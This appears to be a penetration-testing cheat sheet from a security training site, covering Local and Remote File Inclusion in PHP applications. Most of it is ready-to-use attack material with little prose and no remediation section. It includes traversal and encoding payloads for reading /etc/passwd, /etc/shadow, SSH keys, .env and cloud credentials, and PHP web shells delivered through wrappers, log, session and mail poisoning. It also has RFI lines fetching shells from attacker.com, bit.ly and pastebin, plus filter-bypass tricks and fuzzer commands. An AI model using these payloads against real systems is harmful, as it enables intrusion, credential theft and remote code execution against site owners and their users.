Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Local/Remote File Inclusion (LFI/RFI)

File Inclusion vulnerabilities allow attackers to include files on a server through the web browser. This can lead to sensitive information disclosure, remote code execution, or cross-site scripting. Local File Inclusion (LFI) allows inclusion of local files, while Remote File Inclusion (RFI) allows inclusion of remote files from external servers.

How It Works

File inclusion occurs when an application uses user-supplied input to construct file paths without proper validation. For example:

<?php
$page = $_GET['page'];
include($page . ".php");
?>

An attacker could exploit this:

# LFI - Read local files
https://site.com/index.php?page=../../../etc/passwd

# RFI - Execute remote code
https://site.com/index.php?page=http://attacker.com/shell

Detection

Manual Testing

Basic LFI Tests

Testing for local file inclusion:

# Step 1: Identify file parameters
https://site.com/index.php?page=home
https://site.com/index.php?file=about
https://site.com/index.php?include=contact
https://site.com/index.php?template=main

# Step 2: Test with simple traversal
https://site.com/index.php?page=../../../etc/passwd
https://site.com/index.php?file=....//....//....//etc/passwd
https://site.com/index.php?include=/etc/passwd

# Step 3: Check response
# - File contents visible: Vulnerable
# - Error message with path: Potential vulnerability
# - No error but different response: Possible blind LFI

# Step 4: Test common files
Linux:
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/var/log/apache2/access.log

Windows:
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\boot.ini
C:\xampp\apache\logs\access.log

Path Traversal Tests

Different traversal techniques:

# Standard traversal
../../../etc/passwd
..\..\..\..\windows\win.ini

# Double encoding
..%252f..%252f..%252fetc%252fpasswd
..%255c..%255c..%255cwindows%255cwin.ini

# UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd

# URL encoding
..%2f..%2f..%2fetc%2fpasswd
..%5c..%5c..%5cwindows%5cwin.ini

# Double dot bypass
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Overlong UTF-8
..%c1%1c..%c1%1c..%c1%1cetc%c1%1cpasswd

Null Byte Injection Tests

Using null bytes to truncate extensions (PHP < 5.3.4):

# Original code: include($_GET['page'] . ".php");
# Null byte terminates string before .php

# Standard null byte
page=../../../etc/passwd%00

# URL encoded null byte
page=../../../etc/passwd%2500

# Double encoded
page=../../../etc/passwd%25%30%30

# Unicode null byte
page=../../../etc/passwd%C0%80

RFI Tests

Testing remote file inclusion:

# Step 1: Setup web server with malicious file
# shell.txt content: <?php system($_GET['cmd']); ?>
python3 -m http.server 8000

# Step 2: Test RFI with your server
page=http://your-server.com:8000/shell.txt

# Step 3: Test different protocols
page=http://attacker.com/shell.txt
page=https://attacker.com/shell.txt
page=ftp://attacker.com/shell.txt
page=//attacker.com/shell.txt

# Step 4: Execute commands if successful
page=http://attacker.com/shell.txt&cmd=whoami

Wrapper Tests

Testing PHP wrappers for exploitation:

# php://filter - Read file with base64 encoding
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/convert.base64-encode/resource=../../../etc/passwd

# php://input - Execute POST data as PHP
page=php://input
POST Body: <?php system($_GET['cmd']); ?>

# data:// wrapper - Execute base64 data
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# Base64 of: <?php system($_GET['cmd']); ?>

# expect:// wrapper - Execute commands
page=expect://ls
page=expect://whoami

# zip:// wrapper - Include from ZIP
# Create ZIP with shell.php
page=zip://uploads/file.zip%23shell.php

Log Poisoning Tests

Poisoning log files for code execution:

# Step 1: Identify log file paths
Common Apache logs:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log

Common Nginx logs:
/var/log/nginx/access.log
/var/log/nginx/error.log

# Step 2: Poison log via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Step 3: Include log file
page=../../../var/log/apache2/access.log&cmd=whoami

# Step 4: Alternative - poison via request
# Send request with PHP in path
curl http://target.com/<?php system('whoami'); ?>/

# Include log
page=../../../var/log/apache2/access.log

Automated Discovery

Using wfuzz

# LFI fuzzing
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/Traversal.txt \
--hh 0 \
https://target.com/index.php?page=FUZZ

# With different payloads
wfuzz -c -z file,lfi-wordlist.txt \
-z file,files-to-read.txt \
--hh 0 \
https://target.com/index.php?page=FUZZFUZ2Z

# POST parameter fuzzing
wfuzz -c -z file,lfi-wordlist.txt \
-d "file=FUZZ" \
--hh 0 \
https://target.com/index.php

Using dotdotpwn

# Basic LFI scan
dotdotpwn -m http -h target.com -x 80 -f /etc/passwd -k root

# With specific pattern
dotdotpwn -m http \
-h target.com \
-x 80 \
-f /etc/passwd \
-k root \
-d 5

# HTTPS scan
dotdotpwn -m http-url \
-u https://target.com/index.php?page=TRAVERSAL \
-f /etc/passwd \
-k root

Using Nuclei

# Run LFI templates
nuclei -u https://target.com -t lfi/

# Specific file inclusion checks
nuclei -u https://target.com -t file/

# With specific keywords
nuclei -u https://target.com -t lfi/ -tags lfi,rfi

Attack Vectors

Reading Sensitive Files

Extracting configuration and credential files:

# Linux configuration files
/etc/passwd # User accounts
/etc/shadow # Password hashes
/etc/group # User groups
/etc/hosts # DNS mappings
/etc/resolv.conf # DNS configuration
/etc/ssh/sshd_config # SSH configuration
/etc/mysql/my.cnf # MySQL configuration
/etc/apache2/apache2.conf # Apache config
/etc/nginx/nginx.conf # Nginx config

# Application files
/var/www/html/config.php # PHP config
/var/www/html/.env # Environment variables
/var/www/html/wp-config.php # WordPress config
/var/www/html/.git/config # Git configuration
/home/user/.ssh/id_rsa # SSH private key
/home/user/.bash_history # Command history
/root/.aws/credentials # AWS credentials
/root/.docker/config.json # Docker credentials

# Windows files
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\boot.ini
C:\xampp\apache\conf\httpd.conf
C:\wamp\apache\conf\httpd.conf
C:\Program Files\FileZilla Server\FileZilla Server.xml

Proc Filesystem Exploitation

Linux /proc filesystem enumeration:

# Process information
/proc/self/environ # Environment variables
/proc/self/cmdline # Command line of current process
/proc/self/stat # Process statistics
/proc/self/status # Process status
/proc/self/fd/[0-9]* # File descriptors
/proc/self/cwd # Current working directory
/proc/self/exe # Executed binary

# System information
/proc/version # Kernel version
/proc/cpuinfo # CPU information
/proc/meminfo # Memory information
/proc/devices # Device drivers
/proc/net/tcp # TCP connections
/proc/net/udp # UDP connections
/proc/net/arp # ARP table
/proc/net/fib_trie # Routing table

# Other processes (if readable)
/proc/[PID]/cmdline # Other process command line
/proc/[PID]/environ # Other process environment
/proc/[PID]/fd/[0-9]* # Other process file descriptors

PHP Wrapper Exploitation

Advanced PHP wrapper techniques:

# php://filter with encoding chains
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/read=string.rot13/resource=config.php
page=php://filter/convert.iconv.utf-8.utf-16/resource=config.php

# Chaining filters
page=php://filter/convert.base64-decode/convert.base64-encode/resource=config.php
page=php://filter/zlib.deflate/convert.base64-encode/resource=config.php

# php://input for POST data execution
POST /index.php?page=php://input HTTP/1.1
<?php system($_GET['cmd']); ?>

# data:// wrapper
page=data://text/plain,<?php system($_GET['cmd']); ?>
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

# zip:// wrapper
# Create malicious.zip containing shell.php
page=zip://uploads/malicious.zip%23shell.php

# phar:// wrapper
page=phar://uploads/file.jpg/shell.php

Log Poisoning

Poisoning various log files:

# Apache/Nginx Access Log
# Step 1: Inject PHP into User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Step 2: Include access log
page=../../../var/log/apache2/access.log&cmd=whoami

# SSH Log Poisoning
# Step 1: Inject PHP via SSH username
ssh '<?php system($_GET["cmd"]); ?>'@target.com

# Step 2: Include auth log
page=../../../var/log/auth.log&cmd=whoami

# Mail Log Poisoning
# Step 1: Send email with PHP payload
telnet target.com 25
MAIL FROM:<?php system($_GET["cmd"]); ?>@attacker.com

# Step 2: Include mail log
page=../../../var/log/mail.log&cmd=whoami

# FTP Log Poisoning
# Step 1: Login with PHP in username
ftp> USER <?php system($_GET["cmd"]); ?>

# Step 2: Include FTP log
page=../../../var/log/vsftpd.log&cmd=whoami

Session File Inclusion

Including PHP session files:

# PHP session files location
/var/lib/php/sessions/sess_[PHPSESSID]
/var/lib/php5/sessions/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]

# Step 1: Set session variable with PHP code
https://target.com/index.php?session_var=<?php system($_GET['cmd']); ?>

# Step 2: Include session file
page=/var/lib/php/sessions/sess_abc123&cmd=whoami

# Alternative: Use session upload progress
# This works even without active session

# Step 1: Upload file with PHP in progress name
<form action="https://target.com/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system($_GET['cmd']); ?>" />
<input type="file" name="file" />
<input type="submit" />
</form>

# Step 2: Include session file while uploading
page=/tmp/sess_[PHPSESSID]&cmd=whoami

Remote File Inclusion

Executing remote files:

# Basic RFI
page=http://attacker.com/shell.txt

# Shell.txt content:
<?php system($_GET['cmd']); ?>

# Protocol variations
page=http://attacker.com/shell.txt
page=https://attacker.com/shell.txt
page=ftp://attacker.com/shell.txt

# Bypass with double slash
page=//attacker.com/shell.txt

# Using allowed domains (if whitelist exists)
# Host file on allowed domain or subdomain
page=http://allowed-domain.com/path/to/shell.txt
page=http://sub.target.com/uploads/shell.txt

# Using URL shorteners
page=http://bit.ly/malicious-shell

# Using cloud storage
page=https://raw.githubusercontent.com/attacker/repo/shell.txt
page=https://gist.githubusercontent.com/attacker/id/raw/shell.txt
page=https://pastebin.com/raw/id

Bypass Techniques

Extension Bypass

Bypassing added file extensions:

# Original code: include($_GET['page'] . ".php");

# Null byte (PHP < 5.3.4)
page=../../../etc/passwd%00
page=../../../etc/passwd%2500

# URL encoding
page=../../../etc/passwd%00.jpg
page=config%00

# Question mark truncation (some systems)
page=../../../etc/passwd?
page=../../../etc/passwd?.jpg

# Encoding and chaining
page=../../../etc/passwd%00%20
page=../../../etc/passwd%23

Path Filter Bypass

Bypassing path restrictions:

# Double encoding
..%252f..%252f..%252fetc%252fpasswd

# Mixed encoding
..%2f..%2f..%5cetc/passwd
..%5c..%5c..%5c..%2fetc%2fpasswd

# Unicode bypass
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
..%c1%1c..%c1%1c..%c1%1cetc%c1%1cpasswd

# Double dots bypass
....//....//....//etc/passwd
....\/....\/....\/windows/win.ini

# Overlong UTF-8
..%e0%80%af..%e0%80%afetc%e0%80%afpasswd

Dot Filter Bypass

Bypassing dot filtering:

# Using encoded dots
page=%2e%2e%2f%2e%2e%2fetc%2fpasswd
page=.%252e/.%252e/etc/passwd

# Using backslashes (Windows)
page=..\..\..\..\windows\win.ini

# Bypassing dot removal
page=....//....//....//etc/passwd
page=...../...../etc/passwd

# Absolute paths (if allowed)
page=/etc/passwd
page=C:\windows\win.ini

Keyword Filter Bypass

Bypassing keyword blacklists:

# If "etc/passwd" is blocked
page=eettcc/ppaasssswwdd
page=e??tc/p??asswd
page=/e%00tc/p%00asswd

# Case variation (if case-insensitive file system)
page=../../../ETC/PassWD
page=../../../Etc/Passwd

# String concatenation (PHP)
page=php://filter/resource=/e'.'tc/pa'.'sswd

# Using wrappers
page=php://filter/convert.base64-encode/resource=/etc/passwd

Protocol Bypass

Using alternative protocols:

# When http:// is blocked for RFI
page=https://attacker.com/shell.txt
page=ftp://attacker.com/shell.txt
page=//attacker.com/shell.txt
page=file://attacker.com/shell.txt

# Data protocol
page=data://text/plain,<?php system('whoami'); ?>
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

# Using PHP streams
page=php://input
page=php://filter/resource=http://attacker.com/shell.txt

Whitelist Bypass

Bypassing directory whitelists:

# If whitelist checks start of path
# Whitelist: /var/www/html/pages/
page=/var/www/html/pages/../../../etc/passwd

# If whitelist checks contains
page=allowed_dir/../../../etc/passwd

# If whitelist checks extension
page=../../../etc/passwd.jpg
page=../../../etc/passwd%00.txt

# Using symlinks (if they can be created)
# Create: pages/config -> ../../../etc/passwd
page=pages/config

Post-Exploitation

Source Code Disclosure

Reading application source code:

# Read configuration files
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/convert.base64-encode/resource=../config/database.php
page=php://filter/convert.base64-encode/resource=../includes/functions.php

# Read .env files
page=php://filter/convert.base64-encode/resource=../.env
page=php://filter/convert.base64-encode/resource=../../.env

# Read composer/package files
page=php://filter/convert.base64-encode/resource=../composer.json
page=php://filter/convert.base64-encode/resource=../package.json

Remote Code Execution

Achieving RCE through LFI:

# Via php://input
POST /index.php?page=php://input&cmd=whoami HTTP/1.1

<?php system($_GET['cmd']); ?>

# Via log poisoning
# 1. Poison log
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# 2. Execute
page=/var/log/apache2/access.log&cmd=whoami

# Via session file
# 1. Poison session
page=home&pwn=<?php system($_GET['cmd']); ?>

# 2. Include session
page=/var/lib/php/sessions/sess_abc123&cmd=whoami

# Via file upload + LFI
# 1. Upload image with PHP code
# 2. Include uploaded file
page=../uploads/malicious.jpg&cmd=whoami

Privilege Escalation

Using LFI for privilege escalation:

# Read SSH keys
page=../../../root/.ssh/id_rsa
page=../../../home/user/.ssh/id_rsa

# Read sudo configuration
page=../../../etc/sudoers
page=../../../etc/sudoers.d/custom

# Read cron jobs
page=../../../etc/crontab
page=../../../etc/cron.d/custom
page=../../../var/spool/cron/crontabs/root

# Read password hashes
page=../../../etc/shadow
page=../../../etc/security/opasswd

Common Tools

ToolDescriptionPrimary Use Case
Burp SuiteWeb vulnerability scannerLFI/RFI testing
dotdotpwnLFI fuzzerAutomated LFI discovery
wfuzzWeb fuzzerParameter fuzzing
LFISuiteLFI exploitation toolLFI to RCE
KadimusLFI/RFI scannerDetection and exploitation
fimapLFI/RFI toolAutomated exploitation